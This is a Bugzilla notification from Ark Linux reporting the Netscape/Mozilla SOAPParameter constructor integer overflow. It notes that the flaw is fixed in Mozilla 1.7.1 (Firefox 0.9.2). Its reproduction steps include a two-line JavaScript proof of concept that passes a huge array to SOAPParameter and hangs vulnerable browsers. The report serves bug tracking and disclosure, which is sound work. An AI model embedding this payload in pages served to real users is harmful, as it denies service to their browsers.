[Bug 375] New: Netscape SOAPParameter Constructor Integer Overflow Vulnerability

https://bugzilla.arklinux.org/bugzilla/show_bug.cgi?id=375

           Summary: Netscape SOAPParameter Constructor Integer Overflow
                    Vulnerability
           Product: Ark Linux
           Version: Dockyard
          Platform: i586 (PC, Intel)
        OS/Version: All
            Status: NEW
          Severity: High
           Affects: Application
         Component: mozilla
        AssignedTo: [email protected]
        ReportedBy: [email protected]
         QAContact: [email protected]


Description of Problem:
http://bugzilla.mozilla.org/show_bug.cgi?id=236618

Version-Release number of selected component (if applicable):

How Reproducible:
Malicious code within a website and/or html page.

Steps to Reproduce:

<script>
 var p=new Array(0x40000001);
 var q=new SOAPParameter(p);
</script>

Actual Results:

Expected Results:
Mozilla (Firefox) < 1.7.1 (0.9.2) hangs.

Additional Information:

Bug is fixed in Mozilla (Firefox) 1.7.1 (0.9.2)



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.
You are the QA contact for the bug, or are watching the QA contact.